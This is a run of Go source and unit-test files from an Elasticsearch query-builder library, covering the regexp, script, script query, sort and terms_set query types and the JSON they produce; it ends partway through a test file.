-------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | //// Regexp //// 11 | 12 | func Test_Regexp_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.Regexp) 16 | } 17 | 18 | func Test_Regexp_should_have_Boost_method(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | regex := es.Regexp("key", "[a-z0-9]") 22 | 23 | // When Then 24 | assert.NotNil(t, regex.Boost) 25 | } 26 | 27 | func Test_Regexp_should_have_Flags_method(t *testing.T) { 28 | t.Parallel() 29 | // Given 30 | regex := es.Regexp("key", "[a-z0-9]") 31 | 32 | // When Then 33 | assert.NotNil(t, regex.Flags) 34 | } 35 | 36 | func Test_Regexp_should_have_Rewrite_method(t *testing.T) { 37 | t.Parallel() 38 | // Given 39 | regex := es.Regexp("key", "[a-z0-9]") 40 | 41 | // When Then 42 | assert.NotNil(t, regex.Rewrite) 43 | } 44 | 45 | func Test_Regexp_should_have_CaseInsensitive_method(t *testing.T) { 46 | t.Parallel() 47 | // Given 48 | regex := es.Regexp("key", "[a-z0-9]") 49 | 50 | // When Then 51 | assert.NotNil(t, regex.CaseInsensitive) 52 | } 53 | 54 | func Test_Regexp_should_have_MaxDeterminizedStates_method(t *testing.T) { 55 | t.Parallel() 56 | // Given 57 | regex := es.Regexp("key", "[a-z0-9]") 58 | 59 | // When Then 60 | assert.NotNil(t, regex.MaxDeterminizedStates) 61 | } 62 | 63 | func Test_Regexp_should_create_json_with_regexp_field_inside_query(t *testing.T) { 64 | t.Parallel() 65 | // Given 66 | query := es.NewQuery( 67 | es.Regexp("endpoint", "/books/.*"), 68 | ) 69 | 70 | // When Then 71 | assert.NotNil(t, query) 72 | bodyJSON := assert.MarshalWithoutError(t, query) 73 | assert.Equal(t, "{\"query\":{\"regexp\":{\"endpoint\":{\"value\":\"/books/.*\"}}}}", bodyJSON) 74 | } 75 | 76 | func Test_Regexp_method_should_create_regexpType(t *testing.T) { 77 | t.Parallel() 78 | // Given 79 | b := es.Regexp("key", "value") 80 | 81 | // Then 82 | assert.NotNil(t, b) 83 | assert.IsTypeString(t, "es.regexpType", b) 84 | } 85 | 86 | func Test_Regexp_should_create_json_with_match_all_field_inside_caseinsensitive_query(t *testing.T) { 87 | t.Parallel() 88 | // Given 89 | query := es.NewQuery( 90 | es.Regexp("key", "value1"). 91 | CaseInsensitive(false), 92 | ) 93 | 94 | // When Then 95 | assert.NotNil(t, query) 96 | bodyJSON := assert.MarshalWithoutError(t, query) 97 | assert.Equal(t, "{\"query\":{\"regexp\":{\"key\":{\"case_insensitive\":false,\"value\":\"value1\"}}}}", bodyJSON) 98 | } 99 | 100 | func Test_Regexp_should_create_json_with_match_all_field_inside_maxdeterminizedstates_query(t *testing.T) { 101 | t.Parallel() 102 | // Given 103 | query := es.NewQuery( 104 | es.Regexp("key", "value1"). 105 | MaxDeterminizedStates(1000), 106 | ) 107 | 108 | // When Then 109 | assert.NotNil(t, query) 110 | bodyJSON := assert.MarshalWithoutError(t, query) 111 | assert.Equal(t, "{\"query\":{\"regexp\":{\"key\":{\"max_determinized_states\":1000,\"value\":\"value1\"}}}}", bodyJSON) 112 | } 113 | 114 | func Test_Regexp_should_create_json_with_match_all_field_inside_rewrite_query(t *testing.T) { 115 | t.Parallel() 116 | // Given 117 | query := es.NewQuery( 118 | es.Regexp("key", "value1"). 119 | Rewrite("a"), 120 | ) 121 | 122 | // When Then 123 | assert.NotNil(t, query) 124 | bodyJSON := assert.MarshalWithoutError(t, query) 125 | assert.Equal(t, "{\"query\":{\"regexp\":{\"key\":{\"rewrite\":\"a\",\"value\":\"value1\"}}}}", bodyJSON) 126 | } 127 | 128 | func Test_Regexp_should_create_json_with_match_all_field_inside_flags_query(t *testing.T) { 129 | t.Parallel() 130 | // Given 131 | query := es.NewQuery( 132 | es.Regexp("key", "value1"). 133 | Flags("ALL"), 134 | ) 135 | 136 | // When Then 137 | assert.NotNil(t, query) 138 | bodyJSON := assert.MarshalWithoutError(t, query) 139 | assert.Equal(t, "{\"query\":{\"regexp\":{\"key\":{\"flags\":\"ALL\",\"value\":\"value1\"}}}}", bodyJSON) 140 | } 141 | 142 | func Test_Regexp_Boost_should_create_json_with_boost_field_inside_regexp(t *testing.T) { 143 | t.Parallel() 144 | // Given 145 | query := es.NewQuery( 146 | es.Regexp("name", "[bst]ake"). 147 | Boost(2.718), 148 | ) 149 | 150 | // When Then 151 | assert.NotNil(t, query) 152 | bodyJSON := assert.MarshalWithoutError(t, query) 153 | assert.Equal(t, "{\"query\":{\"regexp\":{\"name\":{\"boost\":2.718,\"value\":\"[bst]ake\"}}}}", bodyJSON) 154 | } 155 | -------------------------------------------------------------------------------- /es/script.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | import ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 4 | 5 | type scriptType Object 6 | 7 | type optionsType GenericObject[string] 8 | 9 | // ScriptSource creates a new es.scriptType object with the specified script source and language. 10 | // 11 | // This function initializes an es.scriptType object, defining a script with the provided source code 12 | // and script language. It is used to construct script-based queries in Elasticsearch. 13 | // 14 | // Example usage: 15 | // 16 | // script := es.ScriptSource("return doc['price'].value * params.factor;", es.ScriptLanguage.Painless) 17 | // // script now contains an es.scriptType object with a Painless script that multiplies the 'price' field by a parameterized factor. 18 | // 19 | // Parameters: 20 | // - source: A string representing the script source code. 21 | // - scriptLanguage: The language in which the script is written, specified using es.ScriptLanguage. 22 | // 23 | // Returns: 24 | // 25 | // An es.scriptType object containing the defined script. 26 | func ScriptSource(source string, scriptLanguage ScriptLanguage.ScriptLanguage) scriptType { 27 | return scriptType{ 28 | "lang": scriptLanguage, 29 | "source": source, 30 | } 31 | } 32 | 33 | // ScriptID creates a new es.scriptType object with the specified script ID and language. 34 | // 35 | // This function initializes an es.scriptType object that references a stored script by its ID, 36 | // along with the specified script language. It is used when executing pre-defined scripts in Elasticsearch. 37 | // 38 | // Example usage: 39 | // 40 | // script := es.ScriptID("calculate-discount", es.ScriptLanguage.Painless) 41 | // // script now contains an es.scriptType object referencing the "calculate-discount" script written in Painless. 42 | // 43 | // Parameters: 44 | // - id: A string representing the unique identifier of the stored script. 45 | // - scriptLanguage: The language in which the script is written, specified using es.ScriptLanguage. 46 | // 47 | // Returns: 48 | // 49 | // An es.scriptType object referencing the stored script. 50 | func ScriptID(id string, scriptLanguage ScriptLanguage.ScriptLanguage) scriptType { 51 | return scriptType{ 52 | "id": id, 53 | "lang": scriptLanguage, 54 | } 55 | } 56 | 57 | // Option sets an additional option in the script configuration. 58 | // 59 | // This method adds or updates a key-value pair in the "options" field of the scriptType object. 60 | // It is used to configure optional script settings, such as caching behavior or execution parameters. 61 | // 62 | // Example usage: 63 | // 64 | // script := es.ScriptID("calculate-discount", es.ScriptLanguage.Painless).Option("cache", "true") 65 | // // script now has an "options" field with {"cache": "true"}. 66 | // 67 | // Parameters: 68 | // - option: A string representing the option key to be set. 69 | // - value: A string representing the value to be assigned to the option key. 70 | // 71 | // Returns: 72 | // 73 | // The updated es.scriptType object with the specified option set. 74 | func (s scriptType) Option(option, value string) scriptType { 75 | options, ok := s["options"].(optionsType) 76 | if !ok { 77 | options = optionsType{} 78 | } 79 | options[option] = value 80 | s["options"] = options 81 | return s 82 | } 83 | 84 | // Parameter sets a script parameter in the script configuration. 85 | // 86 | // This method adds or updates a key-value pair in the "params" field of the scriptType object. 87 | // It is used to pass external parameters to the script, making it more dynamic and reusable. 88 | // 89 | // Example usage: 90 | // 91 | // script := es.ScriptID("calculate-discount", es.ScriptLanguage.Painless). 92 | // Parameter("factor", 0.9) 93 | // // script now has a "params" field with {"factor": 0.9}. 94 | // 95 | // Parameters: 96 | // - parameter: A string representing the parameter name. 97 | // - value: A generic value (any type) assigned to the parameter. 98 | // 99 | // Returns: 100 | // 101 | // The updated es.scriptType object with the specified parameter set. 102 | func (s scriptType) Parameter(parameter string, value any) scriptType { 103 | params, ok := s["params"].(Object) 104 | if !ok { 105 | params = Object{} 106 | } 107 | params[parameter] = value 108 | s["params"] = params 109 | return s 110 | } 111 | -------------------------------------------------------------------------------- /es/script_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type scriptQueryType Object 4 | 5 | // ScriptQuery creates a new es.scriptQueryType object with the specified script. 6 | // 7 | // This function initializes an es.scriptQueryType object for a script query, where 8 | // the provided script is used to perform custom computations on document fields 9 | // during query execution. Script queries are useful for implementing advanced filtering 10 | // logic that cannot be achieved with standard query types. 11 | // 12 | // Example usage: 13 | // 14 | // s := es.ScriptQuery( 15 | // es.ScriptSource("doc['price'].value > params.threshold", ScriptLanguage.Painless).Parameter("threshold", 100), 16 | // ) 17 | // // s now contains an es.scriptQueryType object that executes the provided script. 18 | // 19 | // Parameters: 20 | // - script: A scriptType object representing the script to be executed in the query. 21 | // 22 | // Returns: 23 | // 24 | // An es.scriptQueryType object containing the specified script query. 25 | func ScriptQuery(script scriptType) scriptQueryType { 26 | return scriptQueryType{ 27 | "script": Object{ 28 | "script": script, 29 | }, 30 | } 31 | } 32 | 33 | // Boost sets the boost value for the script query and returns the updated query object. 34 | // 35 | // This function allows modifying the relevance score of documents matched by the script query 36 | // by applying a boost factor. Higher boost values increase the importance of the query 37 | // relative to other queries in a compound query. 38 | // 39 | // Example usage: 40 | // 41 | // sq := es.ScriptQuery(script).Boost(2.0) 42 | // // sq now contains a script query with a boost factor of 2.0, increasing its influence. 43 | // 44 | // Parameters: 45 | // - boost: A float64 value representing the boost factor for the script query. 46 | // 47 | // Returns: 48 | // 49 | // A new es.scriptQueryType object with the specified boost value applied. 50 | func (sq scriptQueryType) Boost(boost float64) scriptQueryType { 51 | return sq.putInTheField("boost", boost) 52 | } 53 | 54 | // Name sets a custom name for the script query and returns the updated query object. 55 | // 56 | // This function assigns a user-defined name to the script query, which can be useful for debugging, 57 | // profiling, and identifying specific queries in complex search requests. The assigned name 58 | // does not affect query execution but helps in logging and response analysis. 59 | // 60 | // Example usage: 61 | // 62 | // sq := es.ScriptQuery(script).Name("custom_script_query") 63 | // // sq now contains a script query with the name "custom_script_query" for identification. 64 | // 65 | // Parameters: 66 | // - name: A string representing the custom name to be assigned to the script query. 67 | // 68 | // Returns: 69 | // 70 | // A new es.scriptQueryType object with the specified name applied. 71 | func (sq scriptQueryType) Name(name string) scriptQueryType { 72 | return sq.putInTheField("_name", name) 73 | } 74 | 75 | func (sq scriptQueryType) putInTheField(key string, value any) scriptQueryType { 76 | if scriptQuery, ok := sq["script"].(Object); ok { 77 | scriptQuery[key] = value 78 | } 79 | return sq 80 | } 81 | -------------------------------------------------------------------------------- /es/script_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_ScriptQuery_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.ScriptQuery) 16 | } 17 | 18 | func Test_ScriptQuery_should_create_json_with_script_field_inside_query(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | query := es.NewQuery( 22 | es.ScriptQuery(es.ScriptSource("src", ScriptLanguage.Painless)), 23 | ) 24 | 25 | // When Then 26 | assert.NotNil(t, query) 27 | bodyJSON := assert.MarshalWithoutError(t, query) 28 | assert.Equal(t, "{\"query\":{\"script\":{\"script\":{\"lang\":\"painless\",\"source\":\"src\"}}}}", bodyJSON) 29 | } 30 | 31 | func Test_ScriptQuery_method_should_create_scriptQueryType(t *testing.T) { 32 | t.Parallel() 33 | // Given 34 | scriptQuery := es.ScriptQuery(es.ScriptSource("src", ScriptLanguage.Java)) 35 | 36 | // Then 37 | assert.NotNil(t, scriptQuery) 38 | assert.IsTypeString(t, "es.scriptQueryType", scriptQuery) 39 | } 40 | 41 | func Test_ScriptQuery_should_have_Boost_method(t *testing.T) { 42 | t.Parallel() 43 | // Given 44 | scriptQuery := es.ScriptQuery(es.ScriptSource("src", ScriptLanguage.Mustache)) 45 | 46 | // When Then 47 | assert.NotNil(t, scriptQuery.Boost) 48 | } 49 | 50 | func Test_ScriptQuery_Boost_should_create_json_with_boost_field_inside_scriptQuery(t *testing.T) { 51 | t.Parallel() 52 | // Given 53 | query := es.NewQuery( 54 | es.ScriptQuery(es.ScriptID("12345", ScriptLanguage.Expression)). 55 | Boost(3.14), 56 | ) 57 | 58 | // When Then 59 | assert.NotNil(t, query) 60 | bodyJSON := assert.MarshalWithoutError(t, query) 61 | assert.Equal(t, "{\"query\":{\"script\":{\"boost\":3.14,\"script\":{\"id\":\"12345\",\"lang\":\"expression\"}}}}", bodyJSON) 62 | } 63 | 64 | func Test_ScriptQuery_should_have_Name_method(t *testing.T) { 65 | t.Parallel() 66 | // Given 67 | scriptQuery := es.ScriptQuery(es.ScriptSource("src", ScriptLanguage.Mustache)) 68 | 69 | // When Then 70 | assert.NotNil(t, scriptQuery.Name) 71 | } 72 | 73 | func Test_ScriptQuery_Name_should_create_json_with__name_field_inside_scriptQuery(t *testing.T) { 74 | t.Parallel() 75 | // Given 76 | query := es.NewQuery( 77 | es.ScriptQuery(es.ScriptID("12345", ScriptLanguage.Painless)). 78 | Name("Cemil"), 79 | ) 80 | 81 | // When Then 82 | assert.NotNil(t, query) 83 | bodyJSON := assert.MarshalWithoutError(t, query) 84 | assert.Equal(t, "{\"query\":{\"script\":{\"_name\":\"Cemil\",\"script\":{\"id\":\"12345\",\"lang\":\"painless\"}}}}", bodyJSON) 85 | } 86 | -------------------------------------------------------------------------------- /es/script_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | //// ScriptID //// 13 | 14 | func Test_ScriptId_should_script_on_es_package(t *testing.T) { 15 | t.Parallel() 16 | // Given When Then 17 | assert.NotNil(t, es.ScriptID) 18 | } 19 | 20 | func Test_ScriptId_should_create_json_with_id_and_lang_field_inside_script(t *testing.T) { 21 | t.Parallel() 22 | // Given 23 | script := es.ScriptID("custom_match_script", ScriptLanguage.Painless) 24 | 25 | // When Then 26 | assert.NotNil(t, script) 27 | scriptJSON := assert.MarshalWithoutError(t, script) 28 | assert.Equal(t, "{\"id\":\"custom_match_script\",\"lang\":\"painless\"}", scriptJSON) 29 | } 30 | 31 | //// ScriptSource //// 32 | 33 | func Test_ScriptSource_should_script_on_es_package(t *testing.T) { 34 | t.Parallel() 35 | // Given When Then 36 | assert.NotNil(t, es.ScriptSource) 37 | } 38 | 39 | func Test_ScriptSource_should_create_json_with_source_and_lang_field_inside_script(t *testing.T) { 40 | t.Parallel() 41 | // Given 42 | script := es.ScriptSource("Math.max(1, doc['match_threshold'].value - 1)", ScriptLanguage.Expression) 43 | 44 | // When Then 45 | assert.NotNil(t, script) 46 | scriptJSON := assert.MarshalWithoutError(t, script) 47 | assert.Equal(t, "{\"lang\":\"expression\",\"source\":\"Math.max(1, doc['match_threshold'].value - 1)\"}", scriptJSON) 48 | } 49 | 50 | func Test_Script_should_have_Option_method(t *testing.T) { 51 | t.Parallel() 52 | // Given 53 | script := es.ScriptID("key", ScriptLanguage.Mustache) 54 | 55 | // When Then 56 | assert.NotNil(t, script.Option) 57 | } 58 | 59 | func Test_Script_Option_should_create_json_with_options_field_inside_script(t *testing.T) { 60 | t.Parallel() 61 | // Given 62 | script := es.ScriptID("key", ScriptLanguage.Mustache). 63 | Option("retry", "5") 64 | 65 | // When Then 66 | assert.NotNil(t, script) 67 | scriptJSON := assert.MarshalWithoutError(t, script) 68 | assert.Equal(t, "{\"id\":\"key\",\"lang\":\"mustache\",\"options\":{\"retry\":\"5\"}}", scriptJSON) 69 | } 70 | 71 | func Test_Script_Option_should_append_options_field_inside_script_when_options_already_exists(t *testing.T) { 72 | t.Parallel() 73 | // Given 74 | script := es.ScriptID("key", ScriptLanguage.Mustache). 75 | Option("retry", "5"). 76 | Option("timeout", "10s"). 77 | Option("size", "250") 78 | 79 | // When Then 80 | assert.NotNil(t, script) 81 | scriptJSON := assert.MarshalWithoutError(t, script) 82 | assert.Equal(t, "{\"id\":\"key\",\"lang\":\"mustache\",\"options\":{\"retry\":\"5\",\"size\":\"250\",\"timeout\":\"10s\"}}", scriptJSON) 83 | } 84 | 85 | func Test_Script_should_have_Parameter_method(t *testing.T) { 86 | t.Parallel() 87 | // Given 88 | script := es.ScriptSource("Math.min(tree[1])", ScriptLanguage.Java) 89 | 90 | // When Then 91 | assert.NotNil(t, script.Parameter) 92 | } 93 | 94 | func Test_Script_Parameter_should_create_json_with_params_field_inside_script(t *testing.T) { 95 | t.Parallel() 96 | // Given 97 | script := es.ScriptSource("Math.min(tree[1])", ScriptLanguage.Java). 98 | Parameter("p1", 100) 99 | 100 | // When Then 101 | assert.NotNil(t, script) 102 | scriptJSON := assert.MarshalWithoutError(t, script) 103 | assert.Equal(t, "{\"lang\":\"java\",\"params\":{\"p1\":100},\"source\":\"Math.min(tree[1])\"}", scriptJSON) 104 | } 105 | 106 | func Test_Script_Parameter_should_append_params_field_inside_script_when_params_already_exists(t *testing.T) { 107 | t.Parallel() 108 | // Given 109 | script := es.ScriptSource("Math.min(tree[1])", ScriptLanguage.Java). 110 | Parameter("p1", 100). 111 | Parameter("p2", "hello"). 112 | Parameter("p3", 5.26). 113 | Parameter("p4", []int{22, 33, 44}) 114 | 115 | // When Then 116 | assert.NotNil(t, script) 117 | scriptJSON := assert.MarshalWithoutError(t, script) 118 | // nolint:golint,lll 119 | assert.Equal(t, "{\"lang\":\"java\",\"params\":{\"p1\":100,\"p2\":\"hello\",\"p3\":5.26,\"p4\":[22,33,44]},\"source\":\"Math.min(tree[1])\"}", scriptJSON) 120 | } 121 | -------------------------------------------------------------------------------- /es/sort.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | import ( 4 | Mode "github.com/trustingprom/es-query-builder/es/enums/sort/mode" 5 | Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 6 | ) 7 | 8 | type sortType Object 9 | 10 | // Sort creates a new es.sortType object with the specified field. 11 | // 12 | // This function initializes an es.sortType object with a given field name. The 13 | // field is used to specify the sorting criteria in the search query. The 14 | // resulting es.sortType can be further configured with sorting order and mode. 15 | // 16 | // Example usage: 17 | // 18 | // s := es.Sort("age") 19 | // // s now includes an es.sortType with an "age" field that can be further configured. 20 | // 21 | // Parameters: 22 | // - field: A string representing the field to sort by. 23 | // 24 | // Returns: 25 | // 26 | // An es.sortType object with the specified field. 27 | func Sort(field string) sortType { 28 | return sortType{ 29 | field: Object{}, 30 | } 31 | } 32 | 33 | // Order sets the "order" parameter in an es.sortType object. 34 | // 35 | // This method specifies the order in which the results should be sorted. 36 | // It configures the es.sortType object to sort the results in ascending or 37 | // descending order. 38 | // 39 | // Example usage: 40 | // 41 | // s := es.Sort("age").Order(Order.Desc) 42 | // // s now includes an "order" parameter with the value "desc". 43 | // 44 | // Parameters: 45 | // - order: An Order.Order value indicating the sorting order (e.g., ascending or descending). 46 | // 47 | // Returns: 48 | // 49 | // The updated es.sortType object with the "order" parameter set. 50 | func (s sortType) Order(order Order.Order) sortType { 51 | return s.putInTheField("order", order) 52 | } 53 | 54 | // Mode sets the "mode" parameter in an es.sortType object. 55 | // 56 | // This method specifies the mode used for sorting the results. The mode 57 | // determines how sorting should be handled, such as by specifying different 58 | // tie-breaking strategies. 59 | // 60 | // Example usage: 61 | // 62 | // s := es.Sort("age").Mode(Mode.Avg) 63 | // // s now includes a "mode" parameter with the value "avg". 64 | // 65 | // Parameters: 66 | // - mode: A Mode.Mode value indicating the sorting mode (e.g., average, minimum, maximum). 67 | // 68 | // Returns: 69 | // 70 | // The updated es.sortType object with the "mode" parameter set. 71 | func (s sortType) Mode(mode Mode.Mode) sortType { 72 | return s.putInTheField("mode", mode) 73 | } 74 | 75 | // Nested sets the "nested" parameter in an es.sortType object. 76 | // 77 | // This method specifies a nested sorting configuration for sorting fields 78 | // within nested objects. It allows defining sorting behavior for fields 79 | // inside nested documents. 80 | // 81 | // Example usage: 82 | // 83 | // s := es.Sort("user.age").Nested(es.NestedSort().Path("user")) 84 | // // s now includes a "nested" parameter with the specified nested sorting configuration. 85 | // 86 | // Parameters: 87 | // - nested: A nestedSortType value defining the nested sorting configuration. 88 | // 89 | // Returns: 90 | // 91 | // The updated es.sortType object with the "nested" parameter set. 92 | func (s sortType) Nested(nested nestedSortType) sortType { 93 | return s.putInTheField("nested", nested) 94 | } 95 | 96 | func (s sortType) putInTheField(key string, value any) sortType { 97 | for _, fieldObj := range s { 98 | if fieldObject, ok := fieldObj.(Object); ok { 99 | fieldObject[key] = value 100 | break 101 | } 102 | } 103 | return s 104 | } 105 | -------------------------------------------------------------------------------- /es/sort_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | Mode "github.com/trustingprom/es-query-builder/es/enums/sort/mode" 7 | Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 8 | 9 | "github.com/trustingprom/es-query-builder/es" 10 | "github.com/trustingprom/es-query-builder/test/assert" 11 | ) 12 | 13 | func Test_Sort_should_exist_on_es_package(t *testing.T) { 14 | t.Parallel() 15 | // Given When Then 16 | assert.NotNil(t, es.Sort) 17 | } 18 | 19 | func Test_Sort_method_should_create_sortType(t *testing.T) { 20 | t.Parallel() 21 | // Given 22 | sort := es.Sort("date") 23 | 24 | // Then 25 | assert.NotNil(t, sort) 26 | assert.IsTypeString(t, "es.sortType", sort) 27 | } 28 | 29 | func Test_Sort_should_have_Mode_method(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | sort := es.Sort("date") 33 | 34 | // When Then 35 | assert.NotNil(t, sort.Mode) 36 | } 37 | 38 | func Test_Mode_should_add_mode_field_into_Sort(t *testing.T) { 39 | t.Parallel() 40 | // Given 41 | sort := es.Sort("date").Mode(Mode.Median) 42 | 43 | // When Then 44 | assert.NotNil(t, sort) 45 | bodyJSON := assert.MarshalWithoutError(t, sort) 46 | assert.Equal(t, "{\"date\":{\"mode\":\"median\"}}", bodyJSON) 47 | } 48 | 49 | func Test_Sort_should_have_Order_method(t *testing.T) { 50 | t.Parallel() 51 | // Given 52 | sort := es.Sort("date") 53 | 54 | // When Then 55 | assert.NotNil(t, sort.Order) 56 | } 57 | 58 | func Test_Order_should_add_order_field_into_Sort(t *testing.T) { 59 | t.Parallel() 60 | // Given 61 | sort := es.Sort("date").Order(Order.Desc) 62 | 63 | // When Then 64 | assert.NotNil(t, sort) 65 | bodyJSON := assert.MarshalWithoutError(t, sort) 66 | assert.Equal(t, "{\"date\":{\"order\":\"desc\"}}", bodyJSON) 67 | } 68 | 69 | func Test_Sort_should_have_Nested_method(t *testing.T) { 70 | t.Parallel() 71 | // Given 72 | sort := es.Sort("date") 73 | 74 | // When Then 75 | assert.NotNil(t, sort.Nested) 76 | } 77 | 78 | func Test_Nested_should_add_nested_field_into_Sort(t *testing.T) { 79 | t.Parallel() 80 | // Given 81 | sort := es.Sort("date").Nested(es.NestedSort("timestamp")) 82 | 83 | // When Then 84 | assert.NotNil(t, sort) 85 | bodyJSON := assert.MarshalWithoutError(t, sort) 86 | assert.Equal(t, "{\"date\":{\"nested\":{\"path\":\"timestamp\"}}}", bodyJSON) 87 | } 88 | 89 | func Test_Sort_should_return_sortType_with_order(t *testing.T) { 90 | t.Parallel() 91 | // Given 92 | sort := es.Sort("name").Order(Order.Asc) 93 | 94 | // When Then 95 | assert.NotNil(t, sort) 96 | assert.IsTypeString(t, "es.sortType", sort) 97 | bodyJSON := assert.MarshalWithoutError(t, sort) 98 | assert.Equal(t, "{\"name\":{\"order\":\"asc\"}}", bodyJSON) 99 | } 100 | 101 | func Test_Sort_should_return_sortType_with_mode(t *testing.T) { 102 | t.Parallel() 103 | // Given 104 | sort := es.Sort("age").Mode(Mode.Median) 105 | 106 | // When Then 107 | assert.NotNil(t, sort) 108 | assert.IsTypeString(t, "es.sortType", sort) 109 | bodyJSON := assert.MarshalWithoutError(t, sort) 110 | assert.Equal(t, "{\"age\":{\"mode\":\"median\"}}", bodyJSON) 111 | } 112 | 113 | func Test_Sort_should_return_sortType_with_order_and_mode(t *testing.T) { 114 | t.Parallel() 115 | // Given 116 | sort := es.Sort("salary").Order(Order.Desc).Mode(Mode.Sum) 117 | 118 | // When Then 119 | assert.NotNil(t, sort) 120 | assert.IsTypeString(t, "es.sortType", sort) 121 | bodyJSON := assert.MarshalWithoutError(t, sort) 122 | assert.Equal(t, "{\"salary\":{\"mode\":\"sum\",\"order\":\"desc\"}}", bodyJSON) 123 | } 124 | 125 | func Test_Sort_should_add_sort_field_into_Object(t *testing.T) { 126 | t.Parallel() 127 | // Given 128 | query := es.NewQuery(nil) 129 | 130 | // When 131 | _, beforeExists := query["sort"] 132 | query.Sort(es.Sort("name").Order(Order.Desc)) 133 | sort, afterExists := query["sort"] 134 | 135 | // Then 136 | assert.NotNil(t, sort) 137 | assert.False(t, beforeExists) 138 | assert.True(t, afterExists) 139 | assert.IsTypeString(t, "[]es.sortType", sort) 140 | bodyJSON := assert.MarshalWithoutError(t, query) 141 | assert.Equal(t, "{\"query\":{},\"sort\":[{\"name\":{\"order\":\"desc\"}}]}", bodyJSON) 142 | } 143 | -------------------------------------------------------------------------------- /es/terms_set_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type termsSetType Object 4 | 5 | // TermsSet creates a new es.termsSetType object with the specified field and terms. 6 | // 7 | // This function initializes an es.termsSetType object for a terms_set query, where the key 8 | // represents the field name, and values are the terms that must be matched in the field. 9 | // 10 | // Example usage: 11 | // 12 | // termsSet : es.TermsSet("tags", "go", "elasticsearch") 13 | // // termsSet now contains an es.termsSetType object that matches documents where the "tags" field contains "go" or "elasticsearch". 14 | // 15 | // Parameters: 16 | // - key: A string representing the field name for the terms_set query. 17 | // - values: A variadic list of terms to be matched in the specified field. 18 | // 19 | // Returns: 20 | // 21 | // An es.termsSetType object containing the specified terms_set query. 22 | func TermsSet(key string, values ...any) termsSetType { 23 | return termsSetType{ 24 | "terms_set": Object{ 25 | key: Object{ 26 | "terms": values, 27 | }, 28 | }, 29 | } 30 | } 31 | 32 | // Boost sets the "boost" field in the terms_set query. 33 | // 34 | // This method configures the terms_set query to use a specified boost factor, which influences 35 | // the relevance scoring of the matched documents. 36 | // 37 | // Example usage: 38 | // 39 | // termsSet : es.TermsSet("tags", "go", "elasticsearch").Boost(1.2) 40 | // // termsSet now has a "boost" field set to 1.2 in the terms_set query object. 41 | // 42 | // Parameters: 43 | // - boost: A float64 value representing the boost factor to be applied to the terms_set query. 44 | // 45 | // Returns: 46 | // 47 | // The updated es.termsSetType object with the "boost" field set. 48 | func (t termsSetType) Boost(boost float64) termsSetType { 49 | return t.putInTheField("boost", boost) 50 | } 51 | 52 | // MinimumShouldMatchField sets the "minimum_should_match_field" in the terms_set query. 53 | // 54 | // This method specifies a field that determines the minimum number of terms that must be matched. 55 | // The field's value should be an integer representing the required number of matches. 56 | // 57 | // Example usage: 58 | // 59 | // termsSet : es.TermsSet("tags", "go", "elasticsearch").MinimumShouldMatchField("match_count") 60 | // // termsSet now has a "minimum_should_match_field" set to "match_count". 61 | // 62 | // Parameters: 63 | // - minimumShouldMatchField: A string representing the field name that specifies the required number of matches. 64 | // 65 | // Returns: 66 | // 67 | // The updated es.termsSetType object with the "minimum_should_match_field" set. 68 | func (t termsSetType) MinimumShouldMatchField(minimumShouldMatchField string) termsSetType { 69 | return t.putInTheField("minimum_should_match_field", minimumShouldMatchField) 70 | } 71 | 72 | // MinimumShouldMatchScript sets the "minimum_should_match_script" in the terms_set query. 73 | // 74 | // This method specifies a script that determines the minimum number of terms that must be matched, 75 | // allowing for more dynamic query logic. 76 | // 77 | // Example usage: 78 | // 79 | // script := es.ScriptSource("return doc['tag_count'].value;", es.ScriptLanguage.Painless) 80 | // termsSet : es.TermsSet("tags", "go", "elasticsearch").MinimumShouldMatchScript(script) 81 | // // termsSet now has a "minimum_should_match_script" field set with the provided script. 82 | // 83 | // Parameters: 84 | // - minimumShouldMatchScript: A scriptType object defining the script to determine the required number of matches. 85 | // 86 | // Returns: 87 | // 88 | // The updated es.termsSetType object with the "minimum_should_match_script" field set. 89 | func (t termsSetType) MinimumShouldMatchScript(minimumShouldMatchScript scriptType) termsSetType { 90 | return t.putInTheField("minimum_should_match_script", minimumShouldMatchScript) 91 | } 92 | 93 | func (t termsSetType) putInTheField(key string, value any) termsSetType { 94 | if termsSet, ok := t["terms_set"].(Object); ok { 95 | for field := range termsSet { 96 | if fieldObject, foOk := termsSet[field].(Object); foOk { 97 | fieldObject[key] = value 98 | } 99 | } 100 | } 101 | return t 102 | } 103 | -------------------------------------------------------------------------------- /es/terms_set_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | //// Terms Set //// 13 | 14 | func Test_TermsSet_should_exist_on_es_package(t *testing.T) { 15 | t.Parallel() 16 | // Given When Then 17 | assert.NotNil(t, es.TermsSet) 